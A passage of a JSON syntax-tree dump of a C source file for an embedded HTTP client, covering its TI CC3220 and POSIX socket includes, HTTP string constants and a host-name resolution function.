2, "column": 24}}, {"id": 9, "type": "preproc_include", "text": "#include <ti/drivers/net/wifi/simplelink.h>\n", "parent": 0, "children": [10, 11], "start_point": {"row": 3, "column": 0}, "end_point": {"row": 4, "column": 0}}, {"id": 10, "type": "#include", "text": "#include", "parent": 9, "children": [], "start_point": {"row": 3, "column": 0}, "end_point": {"row": 3, "column": 8}}, {"id": 11, "type": "system_lib_string", "text": "<ti/drivers/net/wifi/simplelink.h>", "parent": 9, "children": [], "start_point": {"row": 3, "column": 9}, "end_point": {"row": 3, "column": 43}}, {"id": 12, "type": "preproc_include", "text": "#include <ti/drivers/net/wifi/bsd/sys/socket.h>\n", "parent": 0, "children": [13, 14], "start_point": {"row": 4, "column": 0}, "end_point": {"row": 5, "column": 0}}, {"id": 13, "type": "#include", "text": "#include", "parent": 12, "children": [], "start_point": {"row": 4, "column": 0}, "end_point": {"row": 4, "column": 8}}, {"id": 14, "type": "system_lib_string", "text": "<ti/drivers/net/wifi/bsd/sys/socket.h>", "parent": 12, "children": [], "start_point": {"row": 4, "column": 9}, "end_point": {"row": 4, "column": 47}}, {"id": 15, "type": "preproc_include", "text": "#include <ti/drivers/net/wifi/bsd/netinet/in.h>\n", "parent": 0, "children": [16, 17], "start_point": {"row": 5, "column": 0}, "end_point": {"row": 6, "column": 0}}, {"id": 16, "type": "#include", "text": "#include", "parent": 15, "children": [], "start_point": {"row": 5, "column": 0}, "end_point": {"row": 5, "column": 8}}, {"id": 17, "type": "system_lib_string", "text": "<ti/drivers/net/wifi/bsd/netinet/in.h>", "parent": 15, "children": [], "start_point": {"row": 5, "column": 9}, "end_point": {"row": 5, "column": 47}}, {"id": 18, "type": "preproc_include", "text": "#include <ti/drivers/net/wifi/bsd/arpa/inet.h>\n", "parent": 0, "children": [19, 20], "start_point": {"row": 6, "column": 0}, "end_point": {"row": 7, "column": 0}}, {"id": 19, "type": "#include", "text": "#include", "parent": 18, "children": [], "start_point": {"row": 6, "column": 0}, "end_point": {"row": 6, "column": 8}}, {"id": 20, "type": "system_lib_string", "text": "<ti/drivers/net/wifi/bsd/arpa/inet.h>", "parent": 18, "children": [], "start_point": {"row": 6, "column": 9}, "end_point": {"row": 6, "column": 46}}, {"id": 21, "type": "preproc_def", "text": "#define printf printk\n", "parent": 0, "children": [22, 23, 24], "start_point": {"row": 7, "column": 0}, "end_point": {"row": 8, "column": 0}}, {"id": 22, "type": "#define", "text": "#define", "parent": 21, "children": [], "start_point": {"row": 7, "column": 0}, "end_point": {"row": 7, "column": 7}}, {"id": 23, "type": "identifier", "text": "printf", "parent": 21, "children": [], "start_point": {"row": 7, "column": 8}, "end_point": {"row": 7, "column": 14}}, {"id": 24, "type": "preproc_arg", "text": "printk", "parent": 21, "children": [], "start_point": {"row": 7, "column": 15}, "end_point": {"row": 7, "column": 21}}, {"id": 25, "type": "preproc_def", "text": "#define UART_PRINT printk\n", "parent": 0, "children": [26, 27, 28], "start_point": {"row": 8, "column": 0}, "end_point": {"row": 9, "column": 0}}, {"id": 26, "type": "#define", "text": "#define", "parent": 25, "children": [], "start_point": {"row": 8, "column": 0}, "end_point": {"row": 8, "column": 7}}, {"id": 27, "type": "identifier", "text": "UART_PRINT", "parent": 25, "children": [], "start_point": {"row": 8, "column": 8}, "end_point": {"row": 8, "column": 18}}, {"id": 28, "type": "preproc_arg", "text": "printk", "parent": 25, "children": [], "start_point": {"row": 8, "column": 19}, "end_point": {"row": 8, "column": 25}}, {"id": 29, "type": "preproc_function_def", "text": "#define perror(str) printk(\"perror %s+%d: %s\", __FILE__, __LINE__, str)\n", "parent": 0, "children": [30, 31, 32, 34], "start_point": {"row": 9, "column": 0}, "end_point": {"row": 10, "column": 0}}, {"id": 30, "type": "#define", "text": "#define", "parent": 29, "children": [], "start_point": {"row": 9, "column": 0}, "end_point": {"row": 9, "column": 7}}, {"id": 31, "type": "identifier", "text": "perror", "parent": 29, "children": [], "start_point": {"row": 9, "column": 8}, "end_point": {"row": 9, "column": 14}}, {"id": 32, "type": "preproc_params", "text": "(str)", "parent": 29, "children": [33], "start_point": {"row": 9, "column": 14}, "end_point": {"row": 9, "column": 19}}, {"id": 33, "type": "identifier", "text": "str", "parent": 32, "children": [], "start_point": {"row": 9, "column": 15}, "end_point": {"row": 9, "column": 18}}, {"id": 34, "type": "preproc_arg", "text": "printk(\"perror %s+%d: %s\", __FILE__, __LINE__, str)", "parent": 29, "children": [], "start_point": {"row": 9, "column": 20}, "end_point": {"row": 9, "column": 71}}, {"id": 35, "type": "preproc_function_def", "text": "#define sleep(s) k_sleep((s) * 1000)\n", "parent": 0, "children": [36, 37, 38, 40], "start_point": {"row": 10, "column": 0}, "end_point": {"row": 11, "column": 0}}, {"id": 36, "type": "#define", "text": "#define", "parent": 35, "children": [], "start_point": {"row": 10, "column": 0}, "end_point": {"row": 10, "column": 7}}, {"id": 37, "type": "identifier", "text": "sleep", "parent": 35, "children": [], "start_point": {"row": 10, "column": 8}, "end_point": {"row": 10, "column": 13}}, {"id": 38, "type": "preproc_params", "text": "(s)", "parent": 35, "children": [39], "start_point": {"row": 10, "column": 13}, "end_point": {"row": 10, "column": 16}}, {"id": 39, "type": "identifier", "text": "s", "parent": 38, "children": [], "start_point": {"row": 10, "column": 14}, "end_point": {"row": 10, "column": 15}}, {"id": 40, "type": "preproc_arg", "text": "k_sleep((s) * 1000)", "parent": 35, "children": [], "start_point": {"row": 10, "column": 17}, "end_point": {"row": 10, "column": 36}}, {"id": 41, "type": "preproc_else", "text": "#else // CONFIG_HAS_CC3220SDK\n\n#include <arpa/inet.h>\n#include <netdb.h>\n#include <netinet/in.h>\n#include <sys/socket.h>\n#include <unistd.h>\n\n#include <math.h>\n#include <stdio.h>\n#include <string.h>\n", "parent": 0, "children": [42, 43, 46, 49, 52, 55, 58, 61, 64], "start_point": {"row": 11, "column": 0}, "end_point": {"row": 22, "column": 0}}, {"id": 42, "type": "#else", "text": "#else", "parent": 41, "children": [], "start_point": {"row": 11, "column": 0}, "end_point": {"row": 11, "column": 5}}, {"id": 43, "type": "preproc_include", "text": "#include <arpa/inet.h>\n", "parent": 41, "children": [44, 45], "start_point": {"row": 13, "column": 0}, "end_point": {"row": 14, "column": 0}}, {"id": 44, "type": "#include", "text": "#include", "parent": 43, "children": [], "start_point": {"row": 13, "column": 0}, "end_point": {"row": 13, "column": 8}}, {"id": 45, "type": "system_lib_string", "text": "<arpa/inet.h>", "parent": 43, "children": [], "start_point": {"row": 13, "column": 9}, "end_point": {"row": 13, "column": 22}}, {"id": 46, "type": "preproc_include", "text": "#include <netdb.h>\n", "parent": 41, "children": [47, 48], "start_point": {"row": 14, "column": 0}, "end_point": {"row": 15, "column": 0}}, {"id": 47, "type": "#include", "text": "#include", "parent": 46, "children": [], "start_point": {"row": 14, "column": 0}, "end_point": {"row": 14, "column": 8}}, {"id": 48, "type": "system_lib_string", "text": "<netdb.h>", "parent": 46, "children": [], "start_point": {"row": 14, "column": 9}, "end_point": {"row": 14, "column": 18}}, {"id": 49, "type": "preproc_include", "text": "#include <netinet/in.h>\n", "parent": 41, "children": [50, 51], "start_point": {"row": 15, "column": 0}, "end_point": {"row": 16, "column": 0}}, {"id": 50, "type": "#include", "text": "#include", "parent": 49, "children": [], "start_point": {"row": 15, "column": 0}, "end_point": {"row": 15, "column": 8}}, {"id": 51, "type": "system_lib_string", "text": "<netinet/in.h>", "parent": 49, "children": [], "start_point": {"row": 15, "column": 9}, "end_point": {"row": 15, "column": 23}}, {"id": 52, "type": "preproc_include", "text": "#include <sys/socket.h>\n", "parent": 41, "children": [53, 54], "start_point": {"row": 16, "column": 0}, "end_point": {"row": 17, "column": 0}}, {"id": 53, "type": "#include", "text": "#include", "parent": 52, "children": [], "start_point": {"row": 16, "column": 0}, "end_point": {"row": 16, "column": 8}}, {"id": 54, "type": "system_lib_string", "text": "<sys/socket.h>", "parent": 52, "children": [], "start_point": {"row": 16, "column": 9}, "end_point": {"row": 16, "column": 23}}, {"id": 55, "type": "preproc_include", "text": "#include <unistd.h>\n", "parent": 41, "children": [56, 57], "start_point": {"row": 17, "column": 0}, "end_point": {"row": 18, "column": 0}}, {"id": 56, "type": "#include", "text": "#include", "parent": 55, "children": [], "start_point": {"row": 17, "column": 0}, "end_point": {"row": 17, "column": 8}}, {"id": 57, "type": "system_lib_string", "text": "<unistd.h>", "parent": 55, "children": [], "start_point": {"row": 17, "column": 9}, "end_point": {"row": 17, "column": 19}}, {"id": 58, "type": "preproc_include", "text": "#include <math.h>\n", "parent": 41, "children": [59, 60], "start_point": {"row": 19, "column": 0}, "end_point": {"row": 20, "column": 0}}, {"id": 59, "type": "#include", "text": "#include", "parent": 58, "children": [], "start_point": {"row": 19, "column": 0}, "end_point": {"row": 19, "column": 8}}, {"id": 60, "type": "system_lib_string", "text": "<math.h>", "parent": 58, "children": [], "start_point": {"row": 19, "column": 9}, "end_point": {"row": 19, "column": 17}}, {"id": 61, "type": "preproc_include", "text": "#include <stdio.h>\n", "parent": 41, "children": [62, 63], "start_point": {"row": 20, "column": 0}, "end_point": {"row": 21, "column": 0}}, {"id": 62, "type": "#include", "text": "#include", "parent": 61, "children": [], "start_point": {"row": 20, "column": 0}, "end_point": {"row": 20, "column": 8}}, {"id": 63, "type": "system_lib_string", "text": "<stdio.h>", "parent": 61, "children": [], "start_point": {"row": 20, "column": 9}, "end_point": {"row": 20, "column": 18}}, {"id": 64, "type": "preproc_include", "text": "#include <string.h>\n", "parent": 41, "children": [65, 66], "start_point": {"row": 21, "column": 0}, "end_point": {"row": 22, "column": 0}}, {"id": 65, "type": "#include", "text": "#include", "parent": 64, "children": [], "start_point": {"row": 21, "column": 0}, "end_point": {"row": 21, "column": 8}}, {"id": 66, "type": "system_lib_string", "text": "<string.h>", "parent": 64, "children": [], "start_point": {"row": 21, "column": 9}, "end_point": {"row": 21, "column": 19}}, {"id": 67, "type": "#endif", "text": "#endif", "parent": 0, "children": [], "start_point": {"row": 23, "column": 0}, "end_point": {"row": 23, "column": 6}}, {"id": 68, "type": "preproc_def", "text": "#define HOST \"emdroid.org\"\n", "parent": null, "children": [69, 70, 71], "start_point": {"row": 25, "column": 0}, "end_point": {"row": 26, "column": 0}}, {"id": 69, "type": "#define", "text": "#define", "parent": 68, "children": [], "start_point": {"row": 25, "column": 0}, "end_point": {"row": 25, "column": 7}}, {"id": 70, "type": "identifier", "text": "HOST", "parent": 68, "children": [], "start_point": {"row": 25, "column": 8}, "end_point": {"row": 25, "column": 12}}, {"id": 71, "type": "preproc_arg", "text": "\"emdroid.org\"", "parent": 68, "children": [], "start_point": {"row": 25, "column": 13}, "end_point": {"row": 25, "column": 26}}, {"id": 72, "type": "preproc_def", "text": "#define PORT 8080\n", "parent": null, "children": [73, 74, 75], "start_point": {"row": 26, "column": 0}, "end_point": {"row": 27, "column": 0}}, {"id": 73, "type": "#define", "text": "#define", "parent": 72, "children": [], "start_point": {"row": 26, "column": 0}, "end_point": {"row": 26, "column": 7}}, {"id": 74, "type": "identifier", "text": "PORT", "parent": 72, "children": [], "start_point": {"row": 26, "column": 8}, "end_point": {"row": 26, "column": 12}}, {"id": 75, "type": "preproc_arg", "text": "8080", "parent": 72, "children": [], "start_point": {"row": 26, "column": 13}, "end_point": {"row": 26, "column": 17}}, {"id": 76, "type": "declaration", "text": "const char* CRLF = \"\\r\\n\";", "parent": null, "children": [77, 78], "start_point": {"row": 28, "column": 0}, "end_point": {"row": 28, "column": 26}}, {"id": 77, "type": "primitive_type", "text": "char", "parent": 76, "children": [], "start_point": {"row": 28, "column": 6}, "end_point": {"row": 28, "column": 10}}, {"id": 78, "type": "init_declarator", "text": "* CRLF = \"\\r\\n\"", "parent": 76, "children": [79, 82, 83], "start_point": {"row": 28, "column": 10}, "end_point": {"row": 28, "column": 25}}, {"id": 79, "type": "pointer_declarator", "text": "* CRLF", "parent": 78, "children": [80, 81], "start_point": {"row": 28, "column": 10}, "end_point": {"row": 28, "column": 16}}, {"id": 80, "type": "*", "text": "*", "parent": 79, "children": [], "start_point": {"row": 28, "column": 10}, "end_point": {"row": 28, "column": 11}}, {"id": 81, "type": "identifier", "text": "CRLF", "parent": 79, "children": [], "start_point": {"row": 28, "column": 12}, "end_point": {"row": 28, "column": 16}}, {"id": 82, "type": "=", "text": "=", "parent": 78, "children": [], "start_point": {"row": 28, "column": 17}, "end_point": {"row": 28, "column": 18}}, {"id": 83, "type": "string_literal", "text": "\"\\r\\n\"", "parent": 78, "children": [84, 85], "start_point": {"row": 28, "column": 19}, "end_point": {"row": 28, "column": 25}}, {"id": 84, "type": "escape_sequence", "text": "\\r", "parent": 83, "children": [], "start_point": {"row": 28, "column": 20}, "end_point": {"row": 28, "column": 22}}, {"id": 85, "type": "escape_sequence", "text": "\\n", "parent": 83, "children": [], "start_point": {"row": 28, "column": 22}, "end_point": {"row": 28, "column": 24}}, {"id": 86, "type": "declaration", "text": "const char* HTTP_EOH = \"\\r\\n\\r\\n\";", "parent": null, "children": [87, 88], "start_point": {"row": 29, "column": 0}, "end_point": {"row": 29, "column": 34}}, {"id": 87, "type": "primitive_type", "text": "char", "parent": 86, "children": [], "start_point": {"row": 29, "column": 6}, "end_point": {"row": 29, "column": 10}}, {"id": 88, "type": "init_declarator", "text": "* HTTP_EOH = \"\\r\\n\\r\\n\"", "parent": 86, "children": [89, 92, 93], "start_point": {"row": 29, "column": 10}, "end_point": {"row": 29, "column": 33}}, {"id": 89, "type": "pointer_declarator", "text": "* HTTP_EOH", "parent": 88, "children": [90, 91], "start_point": {"row": 29, "column": 10}, "end_point": {"row": 29, "column": 20}}, {"id": 90, "type": "*", "text": "*", "parent": 89, "children": [], "start_point": {"row": 29, "column": 10}, "end_point": {"row": 29, "column": 11}}, {"id": 91, "type": "identifier", "text": "HTTP_EOH", "parent": 89, "children": [], "start_point": {"row": 29, "column": 12}, "end_point": {"row": 29, "column": 20}}, {"id": 92, "type": "=", "text": "=", "parent": 88, "children": [], "start_point": {"row": 29, "column": 21}, "end_point": {"row": 29, "column": 22}}, {"id": 93, "type": "string_literal", "text": "\"\\r\\n\\r\\n\"", "parent": 88, "children": [94, 95, 96, 97], "start_point": {"row": 29, "column": 23}, "end_point": {"row": 29, "column": 33}}, {"id": 94, "type": "escape_sequence", "text": "\\r", "parent": 93, "children": [], "start_point": {"row": 29, "column": 24}, "end_point": {"row": 29, "column": 26}}, {"id": 95, "type": "escape_sequence", "text": "\\n", "parent": 93, "children": [], "start_point": {"row": 29, "column": 26}, "end_point": {"row": 29, "column": 28}}, {"id": 96, "type": "escape_sequence", "text": "\\r", "parent": 93, "children": [], "start_point": {"row": 29, "column": 28}, "end_point": {"row": 29, "column": 30}}, {"id": 97, "type": "escape_sequence", "text": "\\n", "parent": 93, "children": [], "start_point": {"row": 29, "column": 30}, "end_point": {"row": 29, "column": 32}}, {"id": 98, "type": "declaration", "text": "const char* CONTENT_LENGTH = \"Content-Length:\";", "parent": null, "children": [99, 100], "start_point": {"row": 30, "column": 0}, "end_point": {"row": 30, "column": 47}}, {"id": 99, "type": "primitive_type", "text": "char", "parent": 98, "children": [], "start_point": {"row": 30, "column": 6}, "end_point": {"row": 30, "column": 10}}, {"id": 100, "type": "init_declarator", "text": "* CONTENT_LENGTH = \"Content-Length:\"", "parent": 98, "children": [101, 104, 105], "start_point": {"row": 30, "column": 10}, "end_point": {"row": 30, "column": 46}}, {"id": 101, "type": "pointer_declarator", "text": "* CONTENT_LENGTH", "parent": 100, "children": [102, 103], "start_point": {"row": 30, "column": 10}, "end_point": {"row": 30, "column": 26}}, {"id": 102, "type": "*", "text": "*", "parent": 101, "children": [], "start_point": {"row": 30, "column": 10}, "end_point": {"row": 30, "column": 11}}, {"id": 103, "type": "identifier", "text": "CONTENT_LENGTH", "parent": 101, "children": [], "start_point": {"row": 30, "column": 12}, "end_point": {"row": 30, "column": 26}}, {"id": 104, "type": "=", "text": "=", "parent": 100, "children": [], "start_point": {"row": 30, "column": 27}, "end_point": {"row": 30, "column": 28}}, {"id": 105, "type": "string_literal", "text": "\"Content-Length:\"", "parent": 100, "children": [], "start_point": {"row": 30, "column": 29}, "end_point": {"row": 30, "column": 46}}, {"id": 106, "type": "declaration", "text": "char RESPONSE[4096];", "parent": null, "children": [107, 108], "start_point": {"row": 31, "column": 0}, "end_point": {"row": 31, "column": 20}}, {"id": 107, "type": "primitive_type", "text": "char", "parent": 106, "children": [], "start_point": {"row": 31, "column": 0}, "end_point": {"row": 31, "column": 4}}, {"id": 108, "type": "array_declarator", "text": "RESPONSE[4096]", "parent": 106, "children": [109, 110], "start_point": {"row": 31, "column": 5}, "end_point": {"row": 31, "column": 19}}, {"id": 109, "type": "identifier", "text": "RESPONSE", "parent": 108, "children": [], "start_point": {"row": 31, "column": 5}, "end_point": {"row": 31, "column": 13}}, {"id": 110, "type": "number_literal", "text": "4096", "parent": 108, "children": [], "start_point": {"row": 31, "column": 14}, "end_point": {"row": 31, "column": 18}}, {"id": 111, "type": "declaration", "text": "char REQUEST[4096];", "parent": null, "children": [112, 113], "start_point": {"row": 32, "column": 0}, "end_point": {"row": 32, "column": 19}}, {"id": 112, "type": "primitive_type", "text": "char", "parent": 111, "children": [], "start_point": {"row": 32, "column": 0}, "end_point": {"row": 32, "column": 4}}, {"id": 113, "type": "array_declarator", "text": "REQUEST[4096]", "parent": 111, "children": [114, 115], "start_point": {"row": 32, "column": 5}, "end_point": {"row": 32, "column": 18}}, {"id": 114, "type": "identifier", "text": "REQUEST", "parent": 113, "children": [], "start_point": {"row": 32, "column": 5}, "end_point": {"row": 32, "column": 12}}, {"id": 115, "type": "number_literal", "text": "4096", "parent": 113, "children": [], "start_point": {"row": 32, "column": 13}, "end_point": {"row": 32, "column": 17}}, {"id": 116, "type": "function_definition", "text": "uint32_t resolve_host_addr(const char *host)\n{\n\tuint32_t dest = 0;\n#ifdef CONFIG_HAS_CC3220SDK\n\tsl_NetAppDnsGetHostByName((_i8 *)host, strlen(host), (_u32 *)&dest,\n\t\t\t\t SL_AF_INET);\n\tdest = sl_Htonl(dest);\n#else // CONFIG_HAS_CC3220SDK\n\tstruct hostent *he;\n\n\the = gethostbyname(host);\n\tif (he && he->h_addr_list && he->h_addr_list[0]) {\n\t\tdest = ((struct in_addr *)(he->h_addr_list[0]))->s_addr;\n\t}\n#endif // CONFIG_HAS_CC3220SDK\n\treturn dest;\n}", "parent": null, "children": [117, 118], "start_point": {"row": 34, "column": 0}, "end_point": {"row": 50, "column": 1}}, {"id": 117, "type": "primitive_type", "text": "uint32_t", "parent": 116, "children": [], "start_point": {"row": 34, "column": 0}, "end_point": {"row": 34, "column": 8}}, {"id": 118, "type": "function_declarator", "text": "resolve_host_addr(const char *host)", "parent": 116, "children": [119, 120], "start_point": {"row": 34, "column": 9}, "end_point": {"row": 34, "column": 44}}, {"id": 119, "type": "identifier", "text": "resolve_host_addr", "parent": 118, "children": [], "start_point": {"row": 34, "column": 9}, "end_point": {"row": 34, "column": 26}}, {"id": 120, "type": "parameter_list", "text": "(const char *host)", "parent": 118, "children": [121], "start_point": {"row": 34, "column": 26}, "end_point": {"row": 34, "column": 44}}, {"id": 121, "type": "parameter_declaration", "text": "const char *host", "parent": 120, "children": [122, 123], "start_point": {"row": 34, "column": 27}, "end_point": {"row": 34, "column": 43}}, {"id": 122, "type": "primitive_type", "text": "char", "parent": 121, "children": [], "start_point": {"row": 34, "column": 33}, "end_point": {"row": 34, "column": 37}}, {"id": 123, "type": "pointer_declarator", "text": "*host", "parent": 121, "children": [124, 125], "start_point": {"row": 34, "column": 38}, "end_point": {"row": 34, "column": 43}}, {"id": 124, "type": "*", "text": "*", "parent": 123, "children": [], "start_point": {"row": 34, "column": 38}, "end_point": {"row": 34, "column": 39}}, {"id": 125, "type": "identifier", "text": "host", "parent": 123, "children": [], "start_point": {"row": 34, "column": 39}, "end_point": {"row": 34, "column": 43}}, {"id": 126, "type": "declaration", "text": "uint32_t dest = 0;", "parent": 116, "children": [127, 128], "start_point": {"row": 36, "column": 1}, "end_point": {"row": 36, "column": 19}}, {"id": 127, "type": "primitive_type", "text": "uint32_t", "parent": 126, "children": [], "start_point": {"row": 36, "column": 1}, "end_point": {"row": 36, "column": 9}}, {"id": 128, "type": "init_declarator", "text": "dest = 0", "parent": 126, "children": [129, 130, 131], "start_point": {"row": 36, "column": 10}, "end_point": {"row": 36, "column": 18}}, {"id": 129, "type": "identifier", "text": "dest", "parent": 128, "children": [], "start_point": {"row": 36, "column": 10}, "end_point": {"row": 36, "column": 14}}, {"id": 130, "type": "=", "text": "=", "parent": 128, "children": [], "start_point": {"row": 36, "column": 15}, "end_point": {"row": 36, "column": 16}}, {"id": 131, "type": "number_literal", "text": "0", "parent": 128, "children": [], "start_point": {"row": 36, "column": 17}, "end_point": {"row": 36, "column": 18}}, {"id": 132, "type": "preproc_ifdef", "text": "#ifdef CONFIG_HAS_CC3220SDK\n\tsl_NetAppDnsGetHostByName((_i8 *)host, strlen(host), (_u32 *)&dest,\n\t\t\t\t SL_AF_INET);\n\tdest = sl_Htonl(dest);\n#else // CONFIG_HAS_CC3220SDK\n\tstruct hostent *he;\n\n\the = gethostbyname(host);\n\tif (he && he->h_addr_list && he->h_addr_list[0]) {\n\t\tdest = ((struct in_addr *)(he->h_addr_list[0]))->s_addr;\n\t}\n#endif", "parent": 116, "children": [133, 134, 163, 213], "start_point": {"row": 37, "column": 0}, "end_point": {"row": 48, "column": 6}}, {"id": 133, "type": "#ifdef", "text": "#ifdef", "parent": 132, "children": [], "start_point": {"row": 37, "column": 0}, "end_point": {"row": 37, "column": 6}}, {"id": 134, "type": "identifier", "text": "CONFIG_HAS_CC3220SDK", "parent": 132, "children": [], "start_point": {"row": 37, "column": 7}, "end_point": {"row": 37, "column": 27}}, {"id": 135, "type": "call_expression", "text": "sl_NetAppDnsGetHostByName((_i8 *)host, strlen(host), (_u32 *)&dest,\n\t\t\t\t SL_AF_INET)", "parent": 132, "children": [136, 137], "start_point": {"row": 38, "column": 1}, "end_point": {"row": 39, "column": 17}}, {"id": 136, "type": "identifier", "text": "sl_NetAppDnsGetHostByName", "parent": 135, "children": [], "start_point": {"row": 38, "column": 1}, "end_point": {"row": 38, "column": 26}}, {"id": 137, "type": "argument_list", "text": "((_i8 *)host, strlen(host), (_u32 *)&dest,\n\t\t\t\t SL_AF_INET)", "parent": 135, "children": [138, 144, 148, 155], "start_point": {"row": 38, "column": 26}, "end_point": {"row": 39, "column": 17}}, {"id": 138, "type": "cast_expression", "text": "(_i8 *)host", "parent": 137, "children": [139, 143], "start_point": {"row": 38, "column": 27}, "end_point": {"row": 38, "column": 38}}, {"id": 139, "type": "type_descriptor", "text": "_i8 *", "parent": 138, "children": [140, 141], "start_point": {"row": 38, "column": 28}, "end_point": {"row": 38, "column": 33}}, {"id": 140, "type": "type_identifier", "text": "_i8", "parent": 139, "children": [], "start_point": {"row": 38, "column": 28}, "end_point": {"row": 38, "column": 31}}, {"id": 141, "type": "abstract_pointer_declarator", "text": "*", "parent": 139, "children": [142], "start_point": {"row": 38, "column": 32}, "end_point": {"row": 38, "column": 33}}, {"id": 142, "type": "*", "text": "*", "parent": 141, "children": [], "start_point": {"row": 38, "column": 32}, "end_point": {"row": 38, "column": 33}}, {"id": 143, "type": "identifier", "text": "host", "parent": 138, "children": [], "start_point": {"row": 38, "column": 34}, "end_point": {"row": 38, "column": 38}}, {"id": 144, "type": "call_expression", "text": "strlen(host)", "parent": 137, "children": [145, 146], "start_point": {"row": 38, "column": 40}, "end_point": {"row": 38, "column": 52}}, {"id": 145, "type": "identifier", "text": "strlen", "parent": 144, "children": [], "start_point": {"row": 38, "column": 40}, "end_point": {"row": 38, "column": 46}}, {"id": 146, "type": "argument_list", "text": "(host)", "parent": 144, "children": [147], "start_point": {"row": 38, "column": 46}, "end_point": {"row": 38, "column": 52}}, {"id": 147, "type": "identifier", "text": "host", "parent": 146, "children": [], "start_point": {"row": 38, "column": 47}, "end_point": {"row": 38, "column": 51}}, {"id": 148, "type": "cast_expression", "text": "(_u32 *)&dest", "parent": 137, "children": [149, 153], "start_point": {"row": 38, "column": 54}, "end_point": {"row": 38, "column": 67}}, {"id": 149, "type": "type_descriptor", "text": "_u32 *", "parent": 148, "children": [150, 151], "start_point": {"row": 38, "column": 55}, "end_point": {"row": 38, "column": 61}}, {"id": 150, "type": "type_identifier", "text": "_u32", "parent": 149, "children": [], "start_point": {"row": 38, "column": 55}, "end_point": {"row": 38, "column": 59}}, {"id": 151, "type": "abstract_pointer_declarator", "text": "*", "parent": 149, "children": [152], "start_point": {"row": 38, "column": 60}, "end_point": {"row": 38, "column": 61}}, {"id": 152, "type": "*", "text": "*", "parent": 151, "children": [], "start_point": {"row": 38, "column": 60}, "end_point": {"row": 38, "column": 61}}, {"id": 153, "type": "pointer_expression", "text": "&dest", "parent": 148, "children": [154], "start_point": {"row": 38, "column": 62}, "end_point": {"row": 38, "column": 67}}, {"id": 154, "type": "identifier", "text": "dest", "parent": 153, "children": [], "start_point": {"row": 38, "column": 63}, "end_point": {"row": 38, "column": 67}}, {"id": 155, "type": "identifier", "text": "SL_AF_INET", "parent": 137, "children": [], "start_point": {"row": 39, "column": 6}, "end_point": {"row": 39, "column": 16}}, {"id": 156, "type": "assignment_expression", "text": "dest = sl_Htonl(dest)", "parent": 132, "children": [157, 158, 159], "start_point": {"row": 40, "column": 1}, "end_point": {"row": 40, "column": 22}}, {"id": 157, "type": "identifier", "text": "dest", "parent": 156, "children": [], "start_point": {"row": 40, "column": 1}, "end_point": {"row": 40, "column": 5}}, {"id": 158, "type": "=", "text": "=", "parent": 156, "children": [], "start_point": {"row": 40, "column": 6}, "end_point": {"row": 40, "column": 7}}, {"id": 159, "type": "call_expression", "text": "sl_Htonl(dest)", "parent": 156, "children": [160, 161], "start_point": {"row": 40, "column": 8}, "end_point": {"row": 40, "column": 22}}, {"id": 160, "type": "identifier", "text": "sl_Htonl", "parent": 159, "children": [], "start_point": {"row": 40, "column": 8}, "end_point": {"row": 40, "column": 16}}, {"id": 161, "type": "argument_list", "text": "(dest)", "parent": 159, "children": [162], "start_point": {"row": 40, "column": 16}, "end_point": {"row": 40, "column": 22}}, {"id": 162, "type": "identifier", "text": "dest", "parent": 161, "children": [], "start_point": {"row": 40, "column": 17}, "end_point": {"row": 40, "column": 21}}, {"id": 163, "type": "preproc_else", "text": "#else // CONFIG_HAS_CC3220SDK\n\tstruct hostent *he;\n\n\the = gethostbyname(host);\n\tif (he && he->h_addr_list && he->h_addr_list[0]) {\n\t\tdest = ((struct in_addr *)(he->h_addr_list[0]))->s_addr;\n\t}", "parent": 132, "children": [164, 165, 179], "start_point": {"row": 41, "column": 0}, "end_point": {"row": 47, "column": 2}}, {"id": 164, "type": "#else", "text": "#else", "parent": 163, "children": [], "start_point": {"row": 41, "column": 0}, "end_point": {"row": 41, "column": 5}}, {"id": 165, "type": "declaration", "text": "struct hostent *he;", "parent": 163, "children": [166, 169], "start_point": {"row": 42, "column": 1}, "end_point": {"row": 42, "column": 20}}, {"id": 166, "type": "struct_specifier", "text": "struct hostent", "parent": 165, "children": [167, 168], "start_point": {"row": 42, "column": 1}, "end_point": {"row": 42, "column": 15}}, {"id": 167, "type": "struct", "text": "struct", "parent": 166, "children": [], "start_point": {"row": 42, "column": 1}, "end_point": {"row": 42, "column": 7}}, {"id": 168, "type": "type_identifier", "text": "hostent", "parent": 166, "children": [], "start_point": {"row": 42, "column": 8}, "end_point": {"row": 42, "column": 15}}, {"id": 169, "type": "pointer_declarator", "text": "*he", "parent": 165, "children": [170, 171], "start_point": {"row": 42, "column": 16}, "end_point": {"row": 42, "column": 19}}, {"id": 170, "type": "*", "text": "*", "parent": 169, "children": [], "start_point": {"row": 42, "column": 16}, "end_point": {"row": 42, "column": 17}}, {"id": 171, "type": "identifier", "text": "he", "parent": 169, "children": [], "start_point": {"row": 42, "column": 17}, "end_point": {"row": 42, "column": 19}}, {"id": 172, "type": "assignment_expression", "text": "he = gethostbyname(host)", "parent": 163, "children": [173, 174, 175], "start_point": {"row": 44, "column": 1}, "end_point": {"row": 44, "column": 25}}, {"id": 173, "type": "identifier", "text": "he", "parent": 172, "children": [], "start_point": {"row": 44, "column": 1}, "end_point": {"row": 44, "column": 3}}, {"id": 174, "type": "=", "text": "=", "parent": 172, "children": [], "start_point": {"row": 44, "column": 4}, "end_point": {"row": 44, "column": 5}}, {"id": 175, "type": "call_expression", "text": "gethostbyname(host)", "parent": 172, "children": [176, 177], "start_point": {"row": 44, "column": 6}, "end_point": {"row": 44, "column": 25}}, {"id": 176, "type": "identifier", "text": "gethostbyname", "parent": 175, "children": [], "start_point": {"row": 44, "column": 6}, "end_point": {"row": 44, "column": 19}}, {"id": 177, "type": "argument_list", "text": "(host)", "parent": 175, "children": [178], "start_point": {"row": 44, "column": 19}, "end_point": {"row": 44, "column": 25}}, {"id": 178, "type": "identifier", "text": "host", "parent": 177, "children": [], "start_point": {"row": 44, "column": 20}, "end_point": {"row": 44, "column": 24}}, {"id": 179, "type": "if_statement", "text": "if (he && he->h_addr_list && he->h_addr_list[0]) {\n\t\tdest = ((struct in_addr *)(he->h_addr_list[0]))->s_addr;\n\t}", "parent": 163, "children": [180], "start_point": {"row": 45, "column": 1}, "end_point": {"row": 47, "column": 2}}, {"id": 180, "type": "parenthesized_expression", "text": "(he && he->h_addr_list && he->h_addr_list[0])", "parent": 179, "children": [181], "start_point": {"row": 45, "column": 4}, "end_point": {"row": 45, "column": 49}}, {"id": 181, "type": "binary_expression", "text": "he && he->h_addr_list && he->h_addr_list[0]", "parent": 180, "children": [182, 188, 189], "start_point": {"row": 45, "column": 5}, "end_point": {"row": 45, "column": 48}}, {"id": 182, "type": 